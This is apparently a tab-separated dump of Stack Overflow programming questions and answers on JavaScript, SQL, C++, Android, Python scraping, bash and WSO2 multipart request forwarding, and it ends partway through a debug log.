13130522	0	JavaScript - Reposition a DIV incrementally onClick <p>Very simple code, very simple problem. When a link is pressed, it moves a div either up or down. However, I cannot get it to move incrementally. I know this is a simple syntax error, but google isn't revealing the error of my ways. Anyone willing to enlighten me?</p> <p><code>&lt;a class="galsel" onclick="document.getElementById('innerscroll').style.bottom -='167px';"&gt;&amp;laquo;&lt;/a&gt;</code></p> <p><code>&lt;a class="galsel" onclick="document.getElementById('innerscroll').style.bottom +='167px';"&gt;&amp;raquo;&lt;/a&gt;</code></p> <p>I already have it so that the div tiles itself vertically, so I'm not worried about it going "too high" or "too low"</p> <p>Here's what it looks like right now: drainteractive.com/FBD/projects.php</p>
40230927	0	Half-transparent elements in the Adobe Illustrator have a black outlines <p>I'm new in Adobe Illustrator and I just need to extract one element from EPS-file.</p> <p>So it's the light. And as you see in the attached file, I can't save it clean. I mean, when it has a some background, it looks good. But when I remove this background and trying to save the clean light as PNG image this is what happenes.</p> <p><a href="https://i.stack.imgur.com/fldQB.png" rel="nofollow">Here's the demonstration</a></p> <p>How can I fix it?</p>
8281411	0	 <p>View source shows you the source of the original html file, it does not update when javascript updates the DOM. Most browsers have some form of tool that allows you to inspect the current state of the DOM, such as the inspector in webkit browsers or firebug in firefox.</p>
24748398	0	 <pre><code> data["objects"][0].keys() ['cuisines', 'postal_code', 'lat', 'id', 'categories', 'name', 'locality', 'country', 'street_address', 'has_menu', 'website_url', 'resource_uri'] </code></pre>
25332174	0	Using conditions to specify groups for GROUP BY <p>I'm not even sure if this is possible using SQL, but I'm completely stuck on this problem. I have a table like this: </p> <pre><code>Total Code 212 XXX_09_JUN 315 XXX_7_JUN 68 XXX_09_APR 140 XXX_AT_APR 729 XXX_AT_MAY </code></pre> <p>I need to sum the "total" column grouped by the code. The issue is that "XXX_09_JUN" and "XXX_7_JUN" and "XXX_09_APR" need to be the same group. </p> <p>I was able to accomplish this by creating a new column where I assigned values based on the row's code, but since this needs to be done on multiple tables with millions of entries, I can't use that method.</p> <p>Is there some way that I could group the rows based on a condition such as:</p> <pre><code>WHERE Code LIKE '%_09_%' OR Code LIKE '%_7_%' </code></pre> <p>This is not the only condition - I need about 10 conditions like this. Sorry if that doesn't make sense, I'm not sure how to explain this...</p> <p>Also, if this can be accomplished using Visual Studio 2008 and SSRS more easily, that would work as well because that is the final goal of this query.</p> <p>Edit: To clarify, this would be the ideal result:</p> <pre><code>Total Code 595 had_a_number 869 had_at </code></pre>
19425808	0	What is the structure of the Thread Environment Block on Microsoft Windows? <p>What is the structure of the Thread Environment Block on Microsoft Windows?</p>
22355882	0	 <ol> <li>Arguments with defaults and splat argument must be grouped together;</li> <li>Splat argument must appear after positional arguments with default values but before keyword arguments;</li> <li>Keyword arguments must appear after positional arguments and before double splat argument;</li> <li><p>Double splat argument must appear last but before block argument.</p> <p>def foo(a, b=1, c=2, *d, e, f: 1, g: 2, **kwargs, &amp;block)</p></li> </ol>
10167541	0	 <p>Personally, I do not rely on implicit conversion. Too often this results in unexpected grief down the road. If asked to provide a filter between a date range, I would be explicit. Pick whatever format you want, but if it might be confusing, then try to eliminate as much of the confusion as possible: </p> <pre><code>SELECT employee_id, first_name, last_name, hire_date FROM employees WHERE hire_date BETWEEN TO_DATE('JAN-01-1980', 'MON-DD-YYYY') AND TO_DATE('JAN-01-1999', 'MON-DD-YYYY') ORDER BY hire_date; </code></pre>
10222599	0	 <p>Uninstall the application from android device or emulator, and try to re-run / install the application. Because <strong>debug.keystrore</strong> is different for every devices.</p>
39400500	0	Compiling example UBOOT standalone application <p>I am trying to build a UBOOT standalone application.</p> <p>Looking at the README and the minimal documentation on this, I am curious.</p> <p>Is the hello world example standalone, simply just compiled/cross-compiled the same way any other application is? Obviously for whatever the target architecture is.</p> <p>Do I need to use makeelf or something to get a .bin file?</p>
30696197	0	 <p>Sometimes regexp only further complicates things. PHP has a great function called <code>ctype_alpha()</code> that will check if a variable is only A-Za-z.</p> <pre><code>(ctype_alpha($newcompanycity)) </code></pre> <p>Here's a <a href="https://eval.in/376859" rel="nofollow">working example for you</a></p>
40485653	0	Connecting C# Application to MS Access 2013 DB <p>I'm using VS 2012 &amp; Office 2013 64 bits, and i changed the target platform to x86, but I still got this weard error </p> <blockquote> <p>The 'Microsoft.ACE.OLEDB.12.0' provider is not registered on the local machine".</p> </blockquote>
21440485	0	 <p>I haven't used sublime, but here is what i found.</p> <ol> <li><p>you could create snippets using Ruby on <a href="https://sublime.wbond.net/packages/Ruby%20on%20Rails%20snippets" rel="nofollow">Rails Snippet</a> package</p></li> <li><p>You could use the solution given in '<a href="http://www.sublimetext.com/forum/viewtopic.php?f=2&amp;t=8302" rel="nofollow">How to automatically add "end" to code blocks?</a>'.</p></li> </ol>
31356274	0	delaying the hover of background- image <p>CSS</p> <pre><code>.navbar-brand { display: block; margin: 0; padding: 0; height: 80px; width: 70px; background: url('img/logo_orig.png') no-repeat center center; background-size: 100% auto; } .navbar-brand:hover { background: url('img/logo_hov.png') no-repeat center center; background-size: 100% auto; } </code></pre> <p>This creates a button with a background image, when hovered it hnages the background.</p> <p>I want to add a delay to the background image when hovered. similar to using </p> <pre><code>transition: background-color 0.35s ease; </code></pre>
21570475	0	 <p>in order to declare publicly accessible function inside JavaScript object you have to use <code>this</code>. By applying <code>this</code> you actually expose this function as a property of an object</p> <pre><code>function Person(first,last) { this.firstname = first; this.lastname = last; //private variable available only for person internal use var age = 25; //private function available only for person internal use var returnAge = function() { return age; }; // public function available as person propert this.askAge = function() { return returnAge ; } } var john = new Person('John','Smith'); console.log(john.returnAge); // will return undefined var johnsAge = john.askAge(); // will return 25 </code></pre>
29048677	0	 <p>First of all, I will assume that this is homework and you must not use <code>std::string</code>. If you can use <code>std::string</code>, forget about everything and refrain from using dynamically allocated C-style strings!</p> <hr> <p>Here we go. If you want to replace <em>one</em> character (a space) with <em>two</em> characters (two stars), then your output string becomes <strong>larger</strong>.</p> <pre><code>"hello there, world!" = 19 characters "hello**there,**world!" = 21 characters </code></pre> <p>I doubt that overwriting the character following each space with a star conforms to the requirements of this exercise:</p> <pre><code>"hello**here,**orld!" = 19 characters, but seems to be wrong </code></pre> <p>You have space for 49 characters, but what if you enter, say, a string with 45 non-spaces and 5 spaces? The result would consist of 55 characters. More generally speaking: <strong>Who says the resulting string will fit in the old array?</strong></p> <p>The easiest way to overcome this problem and arrive at a satisfactory solution is to first <em>count</em> the number of spaces, then <em>allocate a new string</em>, then <em>copy</em> the characters.</p> <p>Here is an example. I left your original way of receiving user input, and a few other problems with the code, intact, even though it could use a few further improvements. This is <em>not</em> C++ code you would use in production! I also used <code>malloc</code> and <code>free</code> to conform to the general C-style of your code (in fact, this may really be a C exercise!). Take it strictly as a learning exercise:</p> <pre><code>#include&lt;iostream&gt; #include&lt;cstdio&gt; #include&lt;cstring&gt; #include&lt;cstdlib&gt; using namespace std; int new_size(char str[]); char* convert(char str[], int new_size); int main() { char string[50]; cout&lt;&lt;"Enter a string "&lt;&lt;endl; gets(string); int new_size_with_stars = new_size(string); char* new_string = convert(string, new_size_with_stars); printf("result: %s\n", new_string); free(new_string); return 0; } int new_size(char str[]) { int result = 0; for (int i = 0; str[i] != '\0'; ++i) { if (str[i] == ' ') { ++result; } ++result; } return result; } char* convert(char str[], int new_size) { char* new_str = (char*) malloc(new_size + 1); for(int old_str_index = 0, new_str_index = 0; str[old_str_index] != '\0'; ++old_str_index, ++new_str_index) { if (str[old_str_index]==' ') { new_str[new_str_index] = '*'; new_str[new_str_index + 1] = '*'; ++new_str_index; } else { new_str[new_str_index] = str[old_str_index]; } } new_str[new_size] = '\0'; return new_str; } </code></pre>
23979786	0	 <p>Supposing you have an <code>&lt;input&gt;</code> with <code>id="myInput"</code>, you can use following javascript:</p> <pre><code>document.getElementById("myInput").value="0"+parseFloat(document.getElementById("myInput").value)+1; </code></pre>
8099695	0	 <p>Per the docs from <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.form.close.aspx" rel="nofollow">Form.Close</a>:</p> <blockquote> <p>The two conditions when a form is not disposed on Close is when (1) it is part of a multiple-document interface (MDI) application, and the form is not visible; and (2) you have displayed the form using ShowDialog. In these cases, you will need to call Dispose manually to mark all of the form's controls for garbage collection.</p> </blockquote> <p>I am presuming your form is a dialog since that is what is mentioned in the title. It looks like you will need to explicitly call Dispose to deallocate the win32 resources.</p>
27203080	0	java.lang.RuntimeException Simple Http Get Code <p>This simple and well organized code is not working. Code uses AsyncTask and its a sample code from internet.<a href="http://hayageek.com/android-http-post-get/" rel="nofollow">Sample Code</a> Im using android studio and tried starting it over and over.</p> <pre><code>package com.example.jakiro.jakki; import android.app.Activity; import android.os.AsyncTask; import android.os.Bundle; import android.util.Log; import org.apache.http.HttpResponse; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import java.io.IOException; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); new Rush().execute(); } private class Rush extends AsyncTask { @Override protected Object doInBackground(Object[] objects) { makePostRequest(); return null; } } private void makePostRequest() { HttpClient httpClient = new DefaultHttpClient(); // replace with your url HttpGet httpPost = new HttpGet("https://www.google.com"); HttpResponse response; try { response = httpClient.execute(httpPost); Log.d("Response of GET request", response.toString()); } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } </code></pre> <p>error codes:</p> <pre><code>java.lang.RuntimeException: An error occured while executing doInBackground() at android.os.AsyncTask$3.done(AsyncTask.java:300) at java.util.concurrent.FutureTask.finishCompletion(FutureTask.java:355) at java.util.concurrent.FutureTask.setException(FutureTask.java:222) at java.util.concurrent.FutureTask.run(FutureTask.java:242) at android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:231) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587) at java.lang.Thread.run(Thread.java:841) Caused by: java.lang.IllegalStateException: Target host must not be null, or set in parameters. scheme=null, host=null, path=www.example.com at org.apache.http.impl.client.DefaultRequestDirector.determineRoute(DefaultRequestDirector.java:591) at org.apache.http.impl.client.DefaultRequestDirector.execute(DefaultRequestDirector.java:293) at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:555) at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:487) at org.apache.http.impl.client.AbstractHttpClient.execute(AbstractHttpClient.java:465) at com.example.nova.myapplication.MainActivity.makePostRequest(MainActivity.java:66) at com.example.nova.myapplication.MainActivity.access$100(MainActivity.java:22) at com.example.nova.myapplication.MainActivity$Rush.doInBackground(MainActivity.java:36) at android.os.AsyncTask$2.call(AsyncTask.java:288) at java.util.concurrent.FutureTask.run(FutureTask.java:237) </code></pre> <p>Manifest:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; </code></pre> <p></p> <pre><code>&lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/&gt; &lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" &gt; &lt;activity android:name="com.example.jakiro.jakki.MainActivity" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;/application&gt; </code></pre> <p></p>
18983503	0	 <p>For some reason theming using the "searchAutoCompleteTextView" wasn't working for me either. So I solved it using the following code when setting up my SearchView:</p> <p>Note: This is all done with the android v7 support/AppCompat library</p> <pre><code>public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.search_menu, menu); MenuItem searchItem = menu.findItem(R.id.action_search); SearchView searchView = (SearchView) MenuItemCompat.getActionView(searchItem); // Theme the SearchView's AutoCompleteTextView drop down. For some reason this wasn't working in styles.xml SearchAutoComplete autoCompleteTextView = (SearchAutoComplete) searchView.findViewById(R.id.search_src_text); if (autoCompleteTextView != null) { autoCompleteTextView.setDropDownBackgroundResource(R.drawable.abc_search_dropdown_light); } } </code></pre> <p>There are two search drop down resources provided by the compatibility library, they are </p> <ul> <li>R.drawable.abc_search_dropdown_light (Light background)</li> <li>R.drawable.abc_search_dropdown_dark (Dark background)</li> </ul>
5377486	0	JavaScript unixtime problem <p>I get the time from the database in Unix format.</p> <p>It looks like this: console.log (time); Result: 1300709088000</p> <p>Now I want to reformat it and pick out only the time, I found this: <a href="http://stackoverflow.com/questions/847185/convert-a-unix-timestamp-to-time-in-javascript">Convert a Unix timestamp to time in Javascript</a></p> <p>That did not work as I want. The time I get is this:</p> <pre><code>1300709088000 9:0:0 1300709252000 6:33:20 1300709316000 0:20:0 1300709358000 12:0:0 1300709530000 11:46:40 </code></pre> <p>It is very wrong times when I know that times are quite different. How can I fix it?</p> <pre><code> console.log(time); var date = new Date(time*1000); // hours part from the timestamp var hours = date.getHours(); // minutes part from the timestamp var minutes = date.getMinutes(); // seconds part from the timestamp var seconds = date.getSeconds(); // will display time in 10:30:23 format var formattedTime = hours + ':' + minutes + ':' + seconds; console.log(formattedTime); </code></pre>
40968814	0	 <p>As most of people mentioned here - one of the solutions will be to use aliases. Don't like them to be honest because they are preventing me learning some really nice Linux commands :) It's just a joke. But the best way for you, as I think, will be to locate a <code>~/.bashrc</code> file located in your home directory and put there:</p> <pre><code>alias mysql="mysql -h 127.0.0.1" </code></pre> <p>Don't forget that you have to restart your session in order for this solution to work or you may type <code>bash</code> command at the same terminal session - it will reload all your bash settings. Good luck!</p> <p>P.S. I suggest you to close all other terminal windows before editing <code>.bashrc</code> because you may just got a read-only file. I had such issue under Win7x64</p>
522156	0	 <p>Add your user.Firstname and User.lastname to your group by clause</p>
5239028	0	edit resolution in flash page <p>that's my flash site , I want to extend the gray box to reach the edge of the HTML page . I mean that I don't want the background color to appear <strong>all I want in the page the flash site in the resolution of the page whatever the PC resolution</strong> . sorry for my bad English . <img src="https://i.stack.imgur.com/sn9zW.jpg" alt="enter image description here"></p>
34551615	0	 <p>Dplyr is much more intuitive and easy in my opinion. Using it here, you can do something like this:</p> <pre><code>library(dplyr) &gt; zzz &lt;- data.frame(name=rep(c('x','y','z'),100),balance=sample(100:300,100,replace = T)) &gt; zzz &lt;- arrange(zzz, name) &gt; zzz[5:7,2] &lt;-238 &gt; zzz[20:22,2]&lt;- 204 &gt; zzz &lt;- zzz %&gt;% group_by(name) %&gt;% mutate(code = as.numeric(balance != lag(balance))) &gt; zzz[5:7, ] Source: local data frame [3 x 3] Groups: name [1] name balance code (fctr) (dbl) (dbl) 1 x 238 1 2 x 238 0 3 x 238 0 &gt; zzz[20:22, ] Source: local data frame [3 x 3] Groups: name [1] name balance code (fctr) (dbl) (dbl) 1 x 204 1 2 x 204 0 3 x 204 0 &gt; </code></pre>
5273510	0	 <p>While this question is old I must say that I am having a pretty tough experience right now due to delimited strings that I have to use on the backend. I agree with most posts on this question in that it does depend on the needs of the application, but what also must be considered are the needs of the backend, meaning those who might actually have to use the data later on. As Vincent stated, if you plan on doing reporting, or somehow using the data that you're storing for some purpose later on, then generally you'll want to be sure you avoid making it harder on yourself or whomever may be using the data. If all you're worried about is storing it, then do whatever makes you happy.</p>
39656693	0	How to get the text in a dynamic text box of a form in Angular Js? <p>Thank you. In my form there are some dynamic input text boxes created by using ng-repeat. How to get the values of these text boxes when submit the form using Angular js?</p> <pre><code>&lt;form ng-submit="submit()"&gt; &lt;div ng-repeat="opt in option"&gt; &lt;input type="text" name=""&gt; &lt;/div&gt; &lt;/form&gt; </code></pre>
20966927	0	Access 2010: Refresh Navigation Pane and Sum/Avg not visible on report <p>I have noticed a strange problem in Access 2010: when a user creates a new object (table, form, query, ...), this object does not show up in the navigation pane. It only does so after manually refreshing the navigation pane (F5) or after closing and reopening the access file. Furthermore, when previewing a report, the Sums and Averages do not show up until the user clicks on the field(s). Printing the report is ok.</p> <p>This behaviour is machine dependant, the same file behaves correctly on other PCs. I was looking at the video cards installed on different PCs, but they all have Intel(R) HD Graphics. </p> <p>Any ideas anyone?</p> <p>Cheers</p>
4834368	0	 <blockquote> <p>Alternately, is there a way to add a simple queueing system short of completely rewriting the application?</p> </blockquote> <p>Yes, you can use an array. It looks like you may already have one, with the _processQ variable. I might try something like this:</p> <pre><code>// A process queue item method protected function processItemInQueue():Void{ if(_processQ.length &gt; 0){ fObj = _processQ.pop(); f = fObj.Name; fObj.Progress = "Processing..."; ro.process(gameid,f); } } </code></pre> <p>Then in your remote Object result handler:</p> <pre><code>protected function roResultHandler(event:ResultEvent):void{ // process results // process next item in queue processItemInQueue(); } </code></pre>
5386789	1	Refactoring a python function so that it can take any sized list <p>How can I make this function take as input an arbitrary list size?</p> <pre><code>def ugly_function(lst): for a in lst[0]: for b in lst[1]: for c in lst[2]: for d in lst[3]: for e in lst[4]: for f in lst[5]: for g in lst[6]: for h in lst[7]: if some_test([a,b,c,d,e,f,g,h]): return [a,b,c,d,e,f,g,h] </code></pre>
30461238	0	 <p>I'm not sure if you can do this in Ruby, but doing it like this in Jquery may work. However you should definitely fix the databases.</p> <pre><code>$(document).ready(function() { //On document ready $("form").find('input').each(function(){ //find all inputs in forms if ($(this).val() == "(NULL)") { //if the value of an input is "(NULL)" $(this).val(""); //Set it to "" } }) }) </code></pre>
20120756	0	 <p>In your fragment, you can use</p> <p><code>((MainActivity)getActivity()).myMethod()</code></p> <p>to call myMethod of MainActivity. This solution assumes, that your fragment is located in MainActivity (getActivity must return MainActivity instance) :-)</p>
36903928	0	how to unsubscribe livequery in orientjs <p>When my NODEJS web service stops, I find the LiveQuerys remain connected. So, should I unsubscribe the LiveQuery manually? And how? My solution is like that, but it does not work</p> <pre><code>process.on('exit', function () { odb.exec("LIVE UNSUBSCRIBE "+iToken); }); </code></pre> <p>Sorry for my poor English. Any words will be really appreciated!</p>
9690740	0	decode form-urlencoded to hash <p>The response I get to an LWP request is <code>application/x-www-form-urlencoded</code> is it possible convert the text of this to a hash via some object method?</p>
4453806	0	 <blockquote> <p>The HTML search form will contain text fields, many select dropdowns and some checkboxes. Can anyone offer any advice, best practice, design patterns or resources to assist with this kind of problem.</p> </blockquote> <p>I would suggest that Google exemplifies the best UI for search. Don't give me a lot of fiddly fields, just one text field so I can type "Shirley Jones UAF"</p>
8914898	0	 <p>I would advise learning about Unit Testing. Read <a href="http://msdn.microsoft.com/en-us/magazine/cc163665.aspx" rel="nofollow">this</a> article on MSDN and search on Google for how to write unit tests. They are a great way to test individual units of code and so should be ideal for your situation.</p> <p>I would also advise separating out UI-related code, such as calls to <code>MessageBox</code>, other UI elements and <code>Console</code>; from the code you wish to test. This will make it much easier to test the logic and execution of your code.</p>
28559264	0	 <p>This looks like very close to <a href="http://stackoverflow.com/questions/28420066/java-velocity-loop-add-div-around-every-3-items/28426218#28426218">question 28420066</a>.</p> <p>In Velocity 1.7+, use $foreach.index (0-based), $foreach.count (1-based), $foreach.first and $foreach.last (<a href="http://velocity.apache.org/engine/releases/velocity-1.7/user-guide.html#Loops" rel="nofollow">check the doc</a>).</p> <pre><code>&lt;ul&gt; #foreach( $product in $allProducts ) #if( $foreach.index %4 == 0 ) #if( !$foreach.first ) &lt;/ul&gt; #end &lt;ul&gt; #end $product #if( $foreach.last ) &lt;/ul&gt; #end #end &lt;/ul&gt; </code></pre>
32624714	1	Beautiful soup queries <p>I'm struggling to have queries in BS with multiple conditions of the type AND or OR. From what I read I have to use lambda. As an example, I'm looking for tags that match either "span", {"class":"green"} or tag.name == "h1" on the page <a href="http://www.pythonscraping.com/pages/warandpeace.html" rel="nofollow">http://www.pythonscraping.com/pages/warandpeace.html</a></p> <p>I manage to get them separately using the lambda syntax:<br> <code>bsObj.findAll(lambda tag: tag.name == "h1")</code> will return h1<br> <code>bsObj.findAll(lambda tag: tag.name == "span", {"class":"green"})</code> wil return span green </p> <p>Or I can get all "span" tags and "h1" :<br> <code>bsObj.findAll(lambda tag: tag.name == "span" or tag.name == "h1")</code> return span green and red as well as h1</p> <p>But I don't manage to get the span of <strong>class green or h1</strong>, as the following code does not provide the right result :<br> <code>bsObj.findAll(lambda tag: tag.name == "span", {"class":"green"} or tag.name == "h1")</code></p> <p>Can please someone explain me the right way to do it in <strong>one</strong> query ? Goal here is not only to get the result but rather understand the syntax. Thanks !</p> <p>(using Python 3.4)<br> PS : I think this issue is different from the the one here: <a href="http://stackoverflow.com/questions/18725760/beautifulsoup-findall-given-multiple-classes">BeautifulSoup findAll() given multiple classes?</a> as well as a variation of <a href="http://stackoverflow.com/questions/20648660/python-beautifulsoup-give-multiple-tags-to-findall?rq=1">Python BeautifulSoup give multiple tags to findAll</a> (as we want a specific attribute)</p>
2834304	0	 <p>Actually, no one cares. With reflector I finally found the place in the framework, where my <code>false</code> is being swallowed: <code>DomainService.AuthorizeChangeSet</code> is called by <code>DomainService.Submit</code>, which is still returning the outcome of <code>DomainService.AuthorizeChangeSet</code>. But see what the <code>ChangeSetProcessor.Process</code> is doing with it:</p> <pre><code>public static IEnumerable&lt;ChangeSetEntry&gt; Process(DomainService domainService, IEnumerable&lt;ChangeSetEntry&gt; changeSetEntries) { ChangeSet changeSet = CreateChangeSet(changeSetEntries); domainService.Submit(changeSet); return GetSubmitResults(changeSet); } </code></pre> <p>... nothing.</p>
25646223	0	I'm trying to perform two string comparisons with an "if" and an "OR" <p>I'm new to bash and I am trying to do two string comparisons with an or statement. Can anyone give me any idea where I have gone wrong?</p> <pre><code> echo $DEVICETYPE FILEHEADER=ANDROID if [[ "$DEVICETYPE" == "iPad" ] || ["$DEVICETYPE" == "iPhone" ]]; then $FILEHEADER = IOS fi echo $FILEHEADER </code></pre> <blockquote> <blockquote> <blockquote> <p>iPad</p> <p>ANDROID</p> </blockquote> </blockquote> </blockquote>
36258858	0	wso2 am gateway forwarding of multipart/form-data post requests <p>I am using a demo API which receives a file and note as multipart/form-data input and displays the content of the file and the note. Here is a sample HTML which runs the API correctly:</p> <pre><code>&lt;html&gt; &lt;body&gt; &lt;FORM action="http://cgi-lib.berkeley.edu/ex/fup.cgi" method="post"&gt; &lt;P&gt;Choose file: &lt;INPUT type="file" name="upfile"&gt; &lt;p&gt;Note: &lt;INPUT type="text" name="note"&gt; &lt;p&gt;&lt;INPUT type="submit" value="Send"&gt; &lt;/FORM&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Now I'm trying to created a managed API in the WSO2 APIM publisher. Below are the parameters I filled in:</p> <p><a href="https://i.stack.imgur.com/vsUo8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vsUo8.png" alt="enter image description here"></a></p> <p>I'm replacing the action of the HTML to go through the API I added:</p> <pre><code>&lt;FORM action="http://ec2-52-48-93-41.eu-west-1.compute.amazonaws.com:8280/test" method="post"&gt; </code></pre> <p>But now when I run the HTML I get the following error from the API:</p> <pre><code>cgi-lib.pl: Unknown Content-type: application/x-www-form-urlencoded; charset=UTF-8 </code></pre> <p>Seems like the WSO2 gateway forwarded the request as application/x-www-form-urlencoded rather than as mulipart/form-data.</p> <p>Based on the following discussion <a href="http://stackoverflow.com/questions/29025525/multipart-form-data-file-upload-using-wso2-api-manger">multipart form data file upload using WSO2 API manger ?</a> I tried to comment out</p> <pre><code> &lt;messageFormatter contentType="multipart/form-data" class="org.apache.axis2.transport.http.MultipartFormDataFormatter"/&gt; &lt;messageBuilder contentType="multipart/form-data" class="org.apache.axis2.builder.MultipartFormDataBuilder"/&gt; </code></pre> <p>And replace them with</p> <pre><code> &lt;messageFormatter contentType="multipart/form-data" class="org.wso2.carbon.relay.ExpandingMessageFormatter"/&gt; &lt;messageBuilder contentType="multipart/form-data" class="org.wso2.carbon.relay.BinaryRelayBuilder"/&gt; </code></pre> <p>Then restarted the server, but it did not cause any impact.</p> <p>Any ideas will be appreciated.</p> <p>Some log messages that I collected. The target API is different, but it is also a multipart/form-data API which dumps whatever it receives. </p> <p>The incoming request does have content-type multipart/form-data, with content-length of 292 </p> <pre><code>DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; POST /test/1.0.0 HTTP/1.1 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Host: ec2-52-48-93-41.eu-west-1.compute.amazonaws.com:8280 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Connection: keep-alive {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Content-Length: 292 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Cache-Control: max-age=0 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Origin: null {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Upgrade-Insecure-Requests: 1 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBdAwOnlDYeHNNR {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Accept-Encoding: gzip, deflate {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Accept-Language: en-US,en;q=0.8,he;q=0.6 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &gt;&gt; Cookie: region3_registry_menu=visible; region1_manage_menu=visible; region1_identity_menu=visible; menuPanel=visible; menuPanelType=main; csrftoken=n1g69f3slt1d90qvtaa28rtm1b {org.apache.synapse.transport.http.headers} </code></pre> <p>The outgoing request does not have content-type:</p> <pre><code>DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; POST /sample2/api/company/upload HTTP/1.1 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Cookie: region3_registry_menu=visible; region1_manage_menu=visible; region1_identity_menu=visible; menuPanel=visible; menuPanelType=main; csrftoken=n1g69f3slt1d90qvtaa28rtm1b {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Origin: null {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Cache-Control: max-age=0 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Upgrade-Insecure-Requests: 1 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Accept-Encoding: gzip, deflate {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Accept-Language: en-US,en;q=0.8,he;q=0.6 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Transfer-Encoding: chunked {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Host: localhost:8080 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; Connection: Keep-Alive {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &gt;&gt; User-Agent: Synapse-PT-HttpComponents-NIO {org.apache.synapse.transport.http.headers} </code></pre> <p>Naturally, the incoming response has HTTP 415, unsupported media:</p> <pre><code>DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &lt;&lt; HTTP/1.1 415 Unsupported Media Type {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &lt;&lt; Server: Apache-Coyote/1.1 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &lt;&lt; Content-Length: 0 {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-outgoing-1 &lt;&lt; Date: Mon, 28 Mar 2016 13:53:05 GMT {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; HTTP/1.1 415 Unsupported Media Type {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; Access-Control-Allow-Origin: * {org.apache.synapse.transport.http.headers} DEBUG {org.apache.synapse.transport.http.headers} - http-incoming-1 &lt;&lt; Access-Control-Allow-Methods: POST {org.apache.synapse.transport.http.headers} DEBUG 